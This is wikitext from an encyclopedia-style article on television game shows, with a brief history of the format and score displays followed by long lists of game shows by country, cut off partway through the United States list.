The height of the game show era began in the early 1970s, thanks in part to the success of popular game shows like ''[[The Price Is Right]]'', ''[[Match Game]]'', ''[[The Joker's Wild]]'' and ''[[The $10,000 Pyramid]]''.  Many of these game shows provided amazing game show sets filled with flashing chase lights and sometimes flashing neon lights. This era of game shows officially ended in the 1990s, leaving ''The Price Is Right'' as the only daytime network game show remaining on U.S. television. In syndication, however, a handful of game shows continue to be popular, including ''Wheel of Fortune'' and ''Jeopardy!'', and to a lesser extent, ''[[Who Wants to be a Millionaire]]'' and ''[[Family Feud]]''. (All of those shows were originally network daytime shows except for ''Millionaire,'' which was a nighttime summer limited-run series that became an unexpected breakout hit.)

Another major element in a game show is score displays. The most famous of these displays is the &quot;eggcrate&quot;, which consists of seven rows of five bulbs each per digit. The eggcrate display has been used on more game shows than any other score display in history, and is still used today on ''The Price Is Right''. In recent years, however, video displays have replaced the eggcrate, especially from Sony shows. ''Wheel of Fortune'' adopted the look in 2001, followed the next by ''Jeopardy!''. CBS also adopted video screens in 2001 for ''Hollywood Squares'', a show produced by its King World division.  Of the major quiz producers, [[RTL Television]] has been the major holdout from this change, as its two US game shows use eggcrate displays.

In [[Japan]] a number of shows emerged that defy classification by most standards. For instance, in one infamous show, failing to answer a question correctly led to one's own mother being buried in tons of rotting fish. In another, those who failed to answer questions correctly were dumped at locations remote from transport or assistance, e.g. in the [[Arctic]], and had to perform such feats as drinking beer while sitting on blocks of ice — first one to run to the outhouse was left behind. In a show colloquially called ''Strip Questions'', a nude woman stands behind a pane of glass with strips of paper embedded in it; every time she misses a question, one strip of paper is pulled away.
&lt;!-- [[Image:Pucker UP.JPG|frame|left|Pucker UP!, a game show, never aired on television]] --&gt;

The reality game shows concept really took off in the 2000s with shows like ''[[Survivor (TV series)|Survivor]]'', ''[[Big Brother television program|Big Brother]]'' and their clones. [[Planet 24]] television (owned by [[Bob Geldof]]) devised the concept of ''Survivor'' but were unable to sell it to a British or American broadcaster. It was eventually taken up in 1997 by [[Sweden]] as ''[[Expedition Robinson]]''. The format was an immediate hit in other [[Scandinavia]]n countries and it soon caught on around the world. These shows combine elements of [[reality show]] and older reality game shows with traditional game-show elements of physical competitions by contestants.

Some shows (e.g. ''[[The Weakest Link]]'') exploit a [[disapproval voting]] system similar to the reality game show, and play up the realistic confrontation between contestants, but are in fact just conventional game shows, where no bodily torture or emotionally stressful situation is created, other than the failure to answer some question or impress hosts. ''[[Dog Eat Dog (television series)|Dog Eat Dog]]'' was even publicised as a reality show despite being basically a revamp of ''[[The Krypton Factor]]'' with a variant of disapproval voting added.

Card games, especially [[poker]] and to a lesser extent [[blackjack]], have recently become the basis for a number of popular shows on various U.S. broadcast and cable/satellite networks. Although these shows appear to meet the third definition above (&quot;a game that involves an element of chance or strategy in addition to, or instead of, a test of general knowledge&quot;) an interesting controversy has erupted over whether these &quot;casino games&quot; should be considered game shows. A question-and-answer element is present in ''[[Card Sharks]]'', ''[[Strip Poker]]'', ''[[Gambit (game show)|Gambit]]'' and ''[[Top Card]]'', but not in ''[[(Super) Pay Cards!]]''.

==Game shows around the world==
===[[Argentina]]===
*''[[Buena Fortuna]]''

===[[Australia]]===
* ''[[A Question Of Sport]]'' (Network Ten - 1995-1996)
* ''[[AFL Lovematch]]'' (Fox 8 - 2004-?)
* ''[[All About Faces]]'' (Nine Network - 1971)
* ''[[All-Star Squares]]'' (Seven Network - 1999) ''(See also [[Hollywood Squares]])''
* ''[[Almost Anything Goes]]'' (Network Ten - 1976-1978) ''(See &quot;[[It's a Knockout]]&quot;)''
* ''[[A*mazing]]'' (Seven Network - 1994-1998)
* ''[[Ampol Stamp Quiz]]'' (Nine Network - 1964-1965)
* ''[[Any Questions?]]'' (ABC TV - 1950s)
* ''[[Australia's Brainiest Kid]]'' (Network Ten - 2005-)
* ''[[Australia's Brainiest Kid|Australia's Brainiest Specials]]'' (Network Ten - 2005-)
* ''[[Australia's Funniest Home Videos]]'' (Nine Network - 1990-)
* ''[[Battle of the Sexes (TV series)|Battle Of The Sexes]]'' (Network Ten - 1998)
* ''[[The Better Sex]]'' (Nine Network - 1978)
* ''[[Big Nine]]'' (Nine Network - 1969-1970)
* ''[[Big Square Eye]]'' (ABC TV - 1991-1993)
* ''[[Blankety Blanks]]'' (Network Ten - 1977-1980, Nine Network - 1985-1986, 1996)
* ''[[Blind Date]]'' (Network Ten - 1968-70, Seven Network - 1974, Network Ten - 1991)
* ''[[Blockbusters (game show)|Blockbusters]]'' (Seven Network - 1991-1994)
* ''[[Cash Bonanza]]'' (Nine Network - 2001)
* ''[[Casino 10]]'' (Network Ten - 1975-1977)
* ''[[Catch Us If You Can (Game Show)|Catch Us If You Can]]
* ''[[Catchphrase]]'' and ''[[John Burgess|Burgo's]] [[Catchphrase]]'' (Nine Network - 1997-2001, 2002)
* ''[[The Celebrity Game]]'' (Nine Network - 1969, Network Ten - 1976-1977)
* ''[[Celebrity Poker Challenge]]'' (Fox 8 - 2006-)
* ''[[Celebrity Squares]]'' (Network Ten - 1967, Nine Network - 1975-1976)
* ''[[Celebrity Tattletales]]'' (Seven Network - 1980)
* ''[[Coles £3000 Question]]'' and ''[[Coles $6000 Question]]'' (Seven Network - 1960-1971)
* ''[[Concentration (game show)|Concentration]]'' (Nine Network - late 1950s to 1967, Seven Network 1970s, 1997)
* ''[[Crossfire]]'' (Nine Network - 1987-1988)
* ''[[Dancing with the Stars (Australia)|Dancing with the Stars]]'' (Seven Network - 2003-)
* ''[[Deal or no Deal]]'' (Seven Network - 2003-)
* ''[[The Daryl and Ossie Show]]'' (Network Ten - 1978)
* ''[[Does Father Know Best?]]'' (ABC TV - 1950s)
* ''[[Dog Eat Dog]]'' (Seven Network - 2002)
* ''[[Don't Forget Your Toothbrush]]'' (Nine Network - 1995)
* ''[[Double Dare]]'' (Network Ten - 1989-1992)
* ''[[Double Your Dollars]]'' (Nine Network - 1965)
* ''[[Download]]'' (Nine Network - 2000-2002)
* ''[[The Dulux Show]]'' (Seven Network - 1957)
* ''[[EC Plays Lift Off]]'' (ABC TV - 1994)
* ''[[Fairway Fun]]'' (Nine Network - 1960s)
* ''[[Family Bowl Quiz]]'' (ABC TV - 1969)
* ''[[Family Double Dare]]'' (Network Ten - 1989)
* ''[[Family Feud]]'' (Nine Network - 1977-1984, Seven Network - 1989-1996, Nine Network - 1996-)
* ''[[The Family Game]]'' (Network Ten - 1967)
* ''[[Flashback]]'' (ABC TV - 1983, 2000)
* ''[[Flashez]]'' (ABC TV - 1976-1977)
* ''[[Ford Superquiz]]'' (Nine Network - 1981-1982)
* ''[[Free for All]]'' (Nine Network - 1973)
* ''[[Friday Night Games]]'' (Network Ten - 2006-)
* ''[[Gambit (game show)|Gambit]]'' (Nine Network - 1974)
* ''[[Generation Gap]]'' (Network Ten - 1969)
* ''[[Get The Message]]'' (Network Ten - 1971-1972)
* ''[[Gladiators]]'' (Seven Network - 1995-1996)
* ''[[The Golden Show]]'' (Nine Network - 1960s)
* ''[[The Gong Show]]'' (Network Ten - 1976)
* ''[[Good News Week]]'' (ABC TV - 1996-1998, Network Ten - 1999-2000)
* ''[[Great Temptation]]'' (Seven Network - 1970-1976)
* ''[[The Great TV Game Show]]'' (Network Ten - 1989)
* ''[[Greed (game show)|Greed]]'' (Network Ten - 2001)
* ''[[Guess What?]]'' (Nine Network - 1992-1993)
* ''[[Have A Go]]'' (Seven Network - 1987)
* ''[[High Rollers]]'' (Seven Network - 1975)
* ''[[Hot Streak]]'' (Seven Network - 1998)
* ''[[I Do I Do]]'' (Network Ten - 1996)
* ''[[It Could Be You]]'' (Nine Network - 1960-1967, 1969, 1982)
* ''[[It Pays To Be Funny]]'' (Seven Network - 1957-1958)
* ''[[It's a Knockout]]'' (Network Ten - 1985-1987)
* ''[[It's Academic]]'' (Network Ten - 1968-1970, Seven Network - 1970-1978)
* ''[[I've Got A Secret]]'' (Network Ten - 1966, 1968-1969)
* ''[[Jeopardy!]]'' (Seven Network - 1970-1978, Network Ten - 1993)
* ''[[Jigsaw]]'' (Nine Network - 1960s)
* ''[[Joker Poker]]'' (Network Ten - 2005-)
* ''[[Keynotes]]'' (Nine Network - 1964, 1992-1993)
* ''[[The Krypton Factor]]'' (ABC TV - 1987)
* ''[[Let's Make A Deal]]'' (Nine Network - 1968-1969, 1977, Network Ten - 1991)
* ''[[Letterbox]]'' and ''$50,000 Letterbox'' (Seven Network - 1963, 1981)
* ''[[Letter Charades]]'' (Nine Network - 1967)
* ''[[Little Aussie Battlers]]'' (Nine Network - [[10 February]], 1998) (one off special)
* ''[[Long Play]]'' (Network Ten - 1977)
* ''[[The Love Game]]'' (Seven Network - 1984)
* ''[[The Main Event]]'' (Seven Network - 1991-1992)
* ''[[Man O Man]]'' (Seven Network - 1994)
* ''[[The Marriage Game]]'' (Network Ten - 1966-1972)
* ''[[Mastermind]]'' (ABC TV - 1978-1984)
* ''[[Match Game]]'' (Network Ten - 1960s)
* ''[[Matchmates]]'' (Nine Network - 1981-1982)
* ''[[Micro Macro]]'' (ABC TV - 1978)
* ''[[Million Dollar Chance Of A Lifetime]]'' (Seven Network - 1999-2000)
* ''[[Mind Twist]]'' (Network Ten - 1992-1993)
* ''[[Money Makers]]'' (Network Ten - 1971-1973, 1982)
* ''[[My Generation]]'' (Nine Network - 1995-1996)
* ''[[Name That Tune]]'' (TCN9 - 1956-1957, 1975) (The first game show on Australian television. Aired only in Sydney)
* ''[[National Star Quest]]'' (1978 - Talent show with a country theme. Made in Wollongong, aired on regional TV stations)
* ''[[New Faces]]'' (Nine Network - 1963-1985, 1989-1990, Network Ten - 1992-1993)
* ''[[The New Inventors]]'' (ABC - 2004-)
* ''[[The Newlywed Game]]'' (Network Ten - 1968, Nine Network - 1987)
* ''[[Now You See It]]'' (Seven Network - 1985-1993, Nine Network - 1998-1999)
* ''[[Opportunity Knocks]]'' (Seven Network - 1976)
* ''[[The Oz Game]]'' (ABC TV - 1988-1989)
* ''[[Pass The Buck]]'' (Nine Network - 2002)
* ''[[Perfect Match]]'' (Network Ten - 1978, 1984-1989, Seven Network - 2002)
* ''[[Personality Squares]]'' (Network Ten - 1967-1969, 1981)
* ''[[Pick A Box]]'' (Seven Network - 1957-1971)
* ''[[Pick Your Face]]'' (Nine Network - 1999-2003)
* ''[[Play Your Cards Right]]'' (Seven Network - 1984)
* ''[[Play Your Hunch]]'' (Nine Network - 1962-1964)
* ''[[Playcards]]'' (Network Ten - 1969)
* ''[[Pot Luck]]'' (Network Ten - 1987)
* ''[[Pot Of Gold]]'' (Network Ten - 1975-1978)
* ''[[Press Your Luck]]'' (Seven Network - 1987-1988)
* ''[[The Pressure Pak Show]]'' (Seven Network - 1957-1958)
* ''[[The Price Is Right]]'' (ATN7 - 1957-1959, GTV9 - 1958, Seven Network - 1963, Network Ten - 1973-1974, Seven Network - 1981-1986, Network Ten - 1989, Nine Network - 1993-1998, 2003-2005)
* ''[[Pyramid Challenge]]'' (Network Ten - 1978)
* ''[[Quest]]'' (ABC TV - 1976-1978)
* ''[[The Quiz Kids]]'' (Seven Network - 1964-1968)
* ''[[Quiz Master]]'' (Seven Network - 2002)
* ''[[Race Around The World]]'' (ABC TV)
* ''[[Ready, Steady, Cook]]'' (Network Ten - 2005-)
* ''[[Ripsnorters]]'' - (Seven Network - 1997)
* ''[[RockWiz]]'' (SBS - 2005-)
* ''[[Sale of the Century]]'' (Nine Network - 1980-2001)
* ''[[Say G'day]]''
* ''[[Say When]]'' (Nine Network - 1962-1964)
* ''[[Search For A Star]]'' (Network Ten - 1970-1971, 1981)
* ''[[Second Chance]]'' (Network Ten - 1977)
* ''[[Shafted]]'' (Nine Network - 2002)
* ''[[Showcase]]'' (Network Ten - 1965-1970, 1973-1974, 1978)
* ''[[Spending Spree]]'' (Nine Network - 1971-1976)
* ''[[Spicks and Specks]]'' (ABC TV - 2005-)
* ''[[Split Personality]]'' (Network Ten - 1967)
* ''[[Split Second]]'' (Nine Network - 1972-1973)
* ''[[Star Search]]'' (Network Ten - 1985-1986, 1991)
* ''[[Stop The Music]]'' (Seven Network - 1950s)
* ''[[Strike It Lucky]]'' (Nine Network - 1994)
* ''[[Supermarket Sweep]]'' (Nine Network - 1992-1994)
* ''[[Superquiz]]'' (Network Ten - 1989)
* ''[[Surprise Package]]'' (Nine Network - 1961)
* ''[[Take A Chance]]'' (Seven Network - 1959)
* ''[[Take A Letter]]'' (Network Ten - 1967)
* ''[[Take The Hint]]'' (Nine Network - 1963-1966)
* ''[[Talking Telephone Numbers]]'' (Seven Network - 1996)
* ''[[Tell The Truth]]'' (Nine Network - 1959-1965, Network Ten - 1971-1972)
* ''[[Temptation]]'' (Nine Network - 2005-)
* ''[[Theatre Sports]]'' (ABC TV - 1987)
* ''[[Three On A Match]]''
* ''[[Tic-Tac-Dough]]'' (Nine Network - 1960-1964)
* ''[[Three On A Match]]''
* ''[[Time Masters]]'' (Seven Network - 1996-1997)
* ''[[The Tommy Hanlon Show]]'' (Nine Network - 1967-1968)
* ''[[Total Recall]]'' (Seven Network - 1994-1995)
* ''[[Treasure Hunt]]'' (Network Ten - 1977-1978)
* ''[[The Trivial Video Show]]'' (Seven Network - 1986)
* ''[[TV Talent Scout]]'' (Seven Network - 1957-1958)
* ''[[University Challenge]]'' (ABC TV - 1987-1989)
* ''[[Video Village]]'' (Nine Network - 1960s)
* ''[[Vidiot]]'' (ABC TV - 1992-1994)
* ''[[Visquiz]]'' (SBS TV - 1985)
* ''[[The Weakest Link]]'' (Seven Network - 2001-2002)
* ''[[What's It Worth?]]'' (ABC TV - 1950s)
* ''[[Wheel of Fortune]]'' (Seven Network - 1981-)
* ''[[Win Roy and HG's Money]]'' (Seven Network - 2000) ''(see [[Win Ben Stein's Money]])''
* ''[[Wipe Out]]'' (Seven Network - 1999-2001)
* ''[[Who Dares Wins (game show)|Who Dares Wins]]'' (Seven Network - 1996-2001)
* ''[[Who, What And Where?]]''
* ''[[Would You Believe?]]'' (ABC TV - 1970-1974)
* ''[[You're A Star]]'' (Network Ten - 1982)
* ''[[Who Wants To Be A Millionaire]]'' (Nine Network - 1999-)

===[[Bulgaria]]===
*[[10/64]] - prime-time Q&amp;A, on [[Kanal 1]]
*[[Bum (show)]] (Boom) - Q&amp;A, on [[Evrokom]]
*[[Kosherut]] (The Hive) - game show, on [[Msat TV]]
*[[Minuta e mnogo]] (A Minute Is Too Much) - Q&amp;A show with higher difficulty of the questions, on [[Kanal 1]]
*[[Sdelka ili ne]] (Deal or Not) - a version of successful European game show, on [[Nova televiziya]]
*[[Stani bogat]] (Who Wants to Be a Millionaire) - a version of the popular Q&amp;A, on [[Nova televiziya]]
*[[Treska za zlato]] (GOld Fever) - lotto, on [[bTV (TV)]]
*[[Vot na doverie]] (Vote of Confidence) - show that often features celebrities, on [[bTV (TV)]]

===[[Canada]]===
*''[[Acting Crazy]]''
*''[[Bumper Stumpers]]''
*''[[Definition (game show)|Definition]]''
*''[[Front Page Challenge]]''
*''[[Guess What]]''
*''[[Headline Hunters]]''
*''[[It's Your Move (game show)|It's Your Move]]''
*''[[The Mad Dash]]''
*''[[Party Game (television series)|Party Game]]''
*''[[Pitfall (game show)|Pitfall]]''
*''[[Reach for the Top]]''
*''[[Smart Ask]]''
*''[[Talkabout (game show)]]''
*''[[Test Pattern (game show)|Test Pattern]]''
*''[[This is the Law (television)|This is the Law]]''
*''[[TimeChase]]''
*''[[Uh Oh!]]''
*''[[Video &amp; Arcade Top 10]]''
*''[[Who Wants To Be A Millionaire|Who Wants To Be A Millionaire: Canadian Edition]]''

====Canadian reality shows====
*''[[Thrill of a Lifetime]]

===[[Chile]]===
*''[[Sabados Gigantes]]''

===[[Finland]]===
*''[[Maailman ympäri]]''
*''[[SF-Studio]]''
*''[[Retsi ja Jykke]]'' (followed by spin-off shows by the same team, until the death of [[Jyrki Otila]] (Jykke))
*''[[Haluatko miljonääriksi?]]'' (Finnish version of ''Who Wants to Be a Millionaire?'')
*''[[Heikoin Lenkki]]'' (Finnish version of ''The Weakest Link'')
*''[[Giljotiini]]''
*''Greed''
*''[[Mitä Maksaa]]'' (Finnish version of ''The Price is Right'')
*''[[Onnenpyörä]]'' (Finnish version of ''Wheel of Fortune'')
*''[[Suuri kupla]]'' (children's quiz show)
*''[[Napakymppi]]'' (Finnish version of ''The Dating Game'')
*''[[Uutisvuoto]]'' (Finnish version of ''Have I Got News for You'')

===[[France]]===
*''[[Cresus]]''
*''[[Des chiffres et des lettres]]''
*''[[Fort Boyard]]''
*''[[Les Jeux de Vingt Heures]]''
*''[[Le Maillon Faible]]'' (French version of ''The Weakest Link'')
*''[[Qui veut gagner des millions?]]'' (French version of ''Who Wants to Be a Millionaire?'')

===[[Ireland]]===
*''[[Winning Streak]]''
*''[[The Lyrics Board]]''
*''[[Quicksilver]]''
*''[[Don't Feed the Gondolas]]''
*''[[Fame &amp; Fortune]]''
*''[[You're A Star]]''
*''Who Wants to be a Millionaire?''
*''The Weakest Link''
*''[[Delegation (TV)]]''
*''[[Gridlock]]''
*''[[Blackboard Jungle]]''
*''[[Dodge the Question]]''
*''[[It's Not The Answer]]''
*''[[Talkabout]]''
*''[[Challenging Times]]''
*''[[Telly Bingo]]''
*''[[Treasure Island]]''
*''[[Cabin Fever]]''
*''[[The Farm]]''

===[[Mexico]]===
*''[[Cien Mexicanos Dijeron]]''
*''[[The Weakest Link|El Rival Más Débil]]''
*''[[the chair|La Silla]]''
*''[[Jeopardy!]]''
*''[[The Price is Right|Atínale al Precio]]''
*''En Familia con [[Chabelo]]''
*''Sexos en Guerra''

===[[Puerto Rico]]===
*''[[A Millon]]''
*''[[Control Remoto]]''
*''[[Sabado en Grande]]''
*''[[Super Sabado]]''

===[[Russia]]===

====Russian quiz, game &amp; dating shows====
*''[[Alfavit]]''
*''[[Allo, TV!]]''
*''[[Faktor Strakha]]''
*''[[Koleso Istorii]]''
*''[[Kto Khochet Stat' Millionerom?]]'' (Russian version of ''Who Wants to Be a Millionaire?'')
*''[[Lyubov' s Pervogo Vzglyada]]'' (Russian version of ''The Dating Game'')
*''[[Lzhec]]''
*''[[Narod Protiv]]''
*''[[O, Schaslivchik!]]'' (First russian version of ''Who Wants to Be a Millionaire?'')
*''[[Papa, Mama, Ya]]''
*''[[Pole Chudes]]'' (Russian version of ''Wheel of Fortune'')
*''[[Piramida]]'' (Russian version of ''Pyramid'')
*''[[Russkaya Ruletka]]'' (Russian version of ''Russian Roulette'')
*''[[Samyj Umnyj]]''
*''[[Shestoye Chuvstvo]]''
*''[[Slaboye Zveno]]'' (Russian version of ''The Weakest Link'')
*''[[Stavka (game show)|Stavka]]''
*''[[Sto k Odnomu]]''
*''[[Svoya Igra]]'' (Russian version of ''Jeopardy!'')
*''[[Ugaday Melodiyu]]'' (Russian version of ''Name That Tune'')
*''[[V Temnote]]''
*''[[Vremya - Den'gi!]]''
*''[[Za Sem'yu Pechatyami]]''

====Russian [[reality show|reality shows]]====
*''[[12 Negrityat]]''
*''[[Bol'shoj Brat]]'' (Russian version of ''Big Brother'')
*''[[Dom (reality show)|Dom]]''
*''[[Fabrika Zvyozd]]'' (or &quot;Star Factory&quot;)
*''[[Golod]]''
*''[[Kandidat]]''
*''[[Narodnyj Artist]]''
*''[[Posledniy Geroy]]'' (Russian version of ''Survivor'')
*''[[Sem' Pod Solncem]]''
*''[[Serdce Afriki]]'' (Another version of ''Survivor'')
*''[[Vozmozhnosti Plasticheskoj Khirurgii]]''

===[[South Africa]]===
*''[[Walk the Plank]]''

===[[Thailand]]===
* ''[[Fan Pan Tae]]'' (Chanel5 - 2000-Present)
* ''[[Tod Sa Gun Game]]'' (Chanel9 - 2003-Present)
by Workpoint Entertainment Company Limted

===[[United Kingdom]]===

====UK activity-oriented shows====
*''[[The Crystal Maze]]''
*''[[Friends Like These]]''
*''[[Fort Boyard (TV series)|Fort Boyard]]''
*''[[Gladiators]]''
*''[[History Hunt]]''
*''[[Interceptor (TV series)|Interceptor]]''
*''[[Knightmare]]''
*''[[The Krypton Factor]]''
*''[[Pets Win Prizes]]''
*''[[Scrapheap Challenge]]''
*''[[Treasure Hunt]]''

====UK [[dating game show]]s====
*''[[Blind Date (UK television)|Blind Date]]''
*''Elimidate''
*''[[Streetmate]]''

====UK panel games====
In these, celebrities compete, usually in two teams.

*''[[Bognor or Bust]]''
*''[[The Brain Drain]]''
*''[[Call My Bluff]]''
*''[[Cluedo (television)|Cluedo]]''
*''[[Gagtag]]''
*''[[Have I Got News for You]]''
*''[[If I Ruled the World]]''
*''[[I'm Sorry I Haven't a Clue]]''
*''[[It's Only TV... But I Like It]]''
*''[[Just a Minute]]'' (a regular [[BBC Radio 4]] panel game, it appeared on TV briefly)
*''[[Mock the Week]]''
*''[[Never Mind the Buzzcocks]]''
*''[[The News Quiz]]'' (Radio 4's predecessor to Have I Got News For You)
*''[[Pop Quiz]]''
*''[[QI]]''
*''[[A Question of Sport]]''
*''[[Quote... Unquote]]''
*''[[Shooting Stars]]''
*''[[They Think It's All Over]]''
*''[[Through the Keyhole]]''
*''[[Twenty Questions]]''
*''What's My Line?''
*''[[Whodunnit?]]''
*''[[Whose Line Is It Anyway?]]''
*''Win, Lose or Draw''

====UK puzzle-oriented shows====
*''[[BrainTeaser]]''
*''[[Catchphrase (game show)|Catchphrase]]''
*''[[Catchword (game show)|Catchword]]''
*''[[Chain Letters]]''
*''[[Countdown (game show)|Countdown]]''
*''[[Wheel of Fortune]]''

====UK quiz shows====
*''[[Ask the Family]]''
*''[[Blockbusters (game show)|Blockbusters]]''
*''[[Brain of Britain]]''
*''[[Cash Cab]]''
*''[[Fifteen To One]]''
*''[[Going for Gold]]''
*''[[Mastermind (television)|Mastermind]]''
*''[[Round Britain Quiz]]''
*''[[Screen Test]]''
*''[[The People Versus]]''
*''[[The Vault]]''
*''[[Top of the Form]]''
*''[[University Challenge]]''
*''[[Who Wants to Be a Millionaire?]]''
*''[[The Weakest Link]]''

====UK reality game shows====
*''[[Back To Reality]]''
*''[[Big Brother (UK)|Big Brother]]''
*''[[Celebrity Love Island]]''
*''Fear Factor''
*''[[Hell's Kitchen (television)|Hell's Kitchen]]''
*''[[I'm a Celebrity, Get Me Out of Here!]]''
*''[[I'm Famous and Frightened!]]''
*''Survivor''
*''[[The Games]]''
*''[[Shipwrecked (television series)|Shipwrecked]]''
*''[[Strictly Come Dancing]]

====UK other shows====
*''[[3-2-1]]''
*''[[The $64,000 Question]]''
*''[[Beat the Teacher]]''
*''[[Big Break]]''
*''[[Bullseye (British game show)|Bullseye]]''
*''Celebrity Squares (see [[Hollywood Squares]])''
*''[[Cheggers Plays Pop]]''
*''[[Crosswits]]''
*''[[Deal Or No Deal]]''
*''[[Dog Eat Dog (television series)|Dog Eat Dog]]''
*''[[Distraction (game show)|Distraction]]''
*''[[Defectors]]''
*''[[Every Second Counts]]''
*''Family Fortunes (see [[Family Feud]])''
*''[[The Generation Game]]''
*''[[The Golden Shot]]''
*''Name That Tune''
*''[[Odd One Out]]''
*''Play Your Cards Right (see [[Card Sharks]])''
*''The Price is Right''
*''[[Robot Wars]]''
*''[[Runaround (TV show)|Runaround]]''
*''[[Take Your Pick]]''
*''[[Time Commanders]]''
*''Win Beadle's Money (see [[Win Ben Stein's Money]])''
*''[[Wipeout (game show)|Wipeout]]''
*''[[You Bet!]]''

===[[United States]]===

====US dating shows====
* ''[[Average Joe]]''
* ''[[The Bachelor]]''
* ''[[The Bachelorette]]''
* ''[[Blind Date (US television)|Blind Date]]''
* ''[[Boy Meets Boy (TV)|Boy Meets Boy]]''
* ''[[The Dating Game]]'' and ''The New Dating Game''
* ''[[Elimidate]]''
* ''[[The Fifth Wheel]]''
* ''[[For Love or Money]]''
* ''[[He Said, She Said]]''
* ''[[Joe Millionaire]]''
* ''[[Love Connection]]''
* ''[[My Big Fat Obnoxious Fiance]]''
* ''[[The Newlywed Game]]''
* ''[[Paradise Hotel]]''
* ''[[Studs]]''
* ''[[Temptation Island]]''
* ''[[Who Wants to Marry a Multi-Millionaire]]''
* ''[[Who Wants to Marry My Dad?]]''

====US kids' game shows====
*''[[Double Dare]]''(1986-2000)
*''[[Finders Keepers]](1987-1989)
*''[[Fun House (game show)|Fun House]]'' (1988-1991)
*''[[Guts]] (see [[Global Guts]]
*''[[Gladiators 2000]]
*''[[Get the Picture]]''(1991-1993)
*''[[Legends of the Hidden Temple]]''(1993-1995)
*''[[The Quiz Kids Challenge]]'' (1990)

====US panel games====
*''[[All Star Blitz]]''
*''[[Says You!]]''

====US quiz/game shows====
*''[[The $64,000 Question]]'' and ''[[64,000 Challenge|$64,000 Challenge]]''
*''Almost Anything Goes'' (1975-1976) ''(See [[It's a Knockout]])''
*''[[American Gladiators]] and spinoff [[Gladiators 2000]]''
*''[[Battlestars (game show)|Battlestars]] (1981-1982) and its revival [[Battlestars (game show)|The New Battlestars]] (1983)
*''[[Beat the Clock]]'' (1950-1958, 1969-1974, 1979-1980, 2002-2003)
*''[[The Better Sex]]'' (1977-1978)
*''[[The Big Showdown]]'' (1974-1975)
*''[[Blockbusters (game show)|Blockbusters]]'' (1980-1982, 1987)
*''[[Body Language (game show)|Body Language]]'' (1984-1986)
*''[[Bowling for Dollars]]'' (Circa 1970s)
*''[[Break the Bank]]'' (1948-1957, 1976-1977, 1985-1986)
*''[[Bullseye (American game show)|Bullseye]]'' (1980-1982)
*''[[Bumper Stumpers]]'' (1987-1990)
*''[[Card Sharks]]'' (1978-1981, 1986-1989, 2001-2002)
*''[[Catch Phrase (US game show)|Catch Phrase]]'' (1985-1986)
*''[[Celebrity Poker Showdown]]'' '''(2004-Present)'''
*''[[Celebrity Sweepstakes]]''
*''[[Chain Reaction (game show)|Chain Reaction]]'' (1980, 1986-1991)
*''[[The Challengers (game show)|The Challengers]]'' (1990-1991)
*''[[The Chamber (game show)|The Chamber]]'' (2002)
*''[[Child's Play (game show)|Child's Play]]'' (1982-1983)
*''[[Concentration (game show)|Concentration]] and Classic Concentration'' (1958-1973, 1973-1978, 1987-1991)
*''[[Cram (game show)|Cram]]'' (2003)
*''[[The Cross-Wits]]'' (1975-1980, 1986-1987)
*''[[Deal or No Deal]]'' (2005-2006)
*''[[Double Dare (1976)|Double Dare]]'' (1976 version)
*''[[Double Dare]]'' (1986 version)
*''[[Double Talk]]''
*''[[Eye Guess]]'' (1966-1969)
*''[[Face The Music (game show)|Face the Music]]'' (1980-1981)
*''[[The Fame Game]]'' hosted by Rich Friedland as Red Harris, Las Vegas, NV
*''[[Family Feud]]'' (1976-1985, 1988-1995, '''1999-present''')
*''[[Fandango (game show)|Fandango]]'' (1983-1989)
*''[[Fear Factor]]'' (2001-present)
*''[[Gambit (game show)]] and Las Vegas Gambit'' (1972-1976, 1980-1981)
*''[[Go (game show)|Go]]'' (1983-1984)
*''[[The Gong Show]]'' (1976-1980)
*''[[Greed (game show)|Greed]]'' (1999-2000)
*''[[Headline Chasers]]'' (1985-1986)
*''[[High Rollers]]'' (1974-1976, 1978-1980, 1987-1988)
*''[[History IQ]]'' (2000)
*''[[Hollywood Connection]]''
*''[[Hollywood Squares]]'' (1966-1980, 1968, 1971-1981, 1986-1989, 1998-2004)
*''[[Hot Potato]]'' (1984)
*''[[I'd Do Anything]]''
*''[[I've Got a Secret]]''
*''[[Information, Please!]]''
*''[[It's Academic]]''
*''[[Jackpot (game show)|Jackpot!]]'' (1974-1975, 1989-1990)
*''[[Jeopardy!]]'' (1964-1975, '''1984-present''')
*''[[The Joker's Wild]]'' (1972-1975, 1977-1986, 1990-1991)
*''[[Let's Make a Deal]]'' (1963-1968, 1969-1976, 1971-1977, 1980-1981, 1984-1986, 1990-1991, 2003)
*''[[Love Buffet]]''
*''[[Lingo (game show)|Lingo]]'' (2002-present)
*''[[Match Game]]'' (1962-1969, 1973-1979, 1979-1982, 1990-1991, 1998-1999)
*''[[Match Game-Hollywood Squares Hour]]'' (1983-1984)
*''[[Match Game PM]]'' (1975-1981)
*''[[Musical Chairs (game show)|Musical Chairs]]''
*''[[Name That Tune]]'' ([[1950s]], 1974-1981, 1984-1985)
*''[[The Name's the Same]]''
*''[[Now You See It]]'' (1974-1975, 1989)
*''[[Password game|Password]]'' (1961-1969, 1971-1975) and sequels ''Password Plus'' (1979-1982) and ''Super Password'' (1984-1989)
*''[[The Perfect Match]]''
*''[[Play the Percentages]]''
*''[[Press Your Luck]]'' (1983-1986) and sequel ''[[Whammy! The All-New Press Your Luck]]''
*''[[The Price is Right]]'' (1956-1965, '''1972-present)'''
*''[[Pyramid (game show)|Pyramid]]'' (all versions)
**''The $10,000 Pyramid'' (1973-1974, 1974-1976)
**''The $20,000 Pyramid'' (1976-1980)
**''The $25,000 Pyramid'' (1974-1979, 1982-1987, 1988)
**''The $50,000 Pyramid'' (1981)
**''The $100,000 Pyramid'' (1985-1988, 1991)
**''Pyramid'' (2002-2004)
*''[[Queen for a Day]]''
*''[[Random Acts of Comedy]]''
*''[[Remote Control (game show)|Remote Control]]''
*''[[Rhyme &amp; Reason (game show)|Rhyme &amp; Reason]]''
*''[[Russian Roulette (game show)|Russian Roulette]]''
*''[[Sabado Gigante]]''
*''[[Sale of the Century]]'' (1969-1973, 1983-1989)
*''[[Scrabble (game show)|Scrabble]]'' (1984-1990, 1993)
*''[[Second Chance (game show)|Second Chance]]'' (1977)
*''[[Shop 'Til You Drop]]''
*''[[Split Second]]'' (1972-1975, 1987-1988)
*''[[Street Smarts (game show)|Street Smarts]]'' (2000-2005)
*''[[Strike It Rich (1980s TV game show)|Strike It Rich]]'' (1986-1987)
*''[[Studio 7]]'' (2004)
*''[[Supermarket Sweep]]'' (1965-1967, 1990-1998, 2000-2004)
*''[[Tattletales]]'' (1974-1978, 1982-1984)
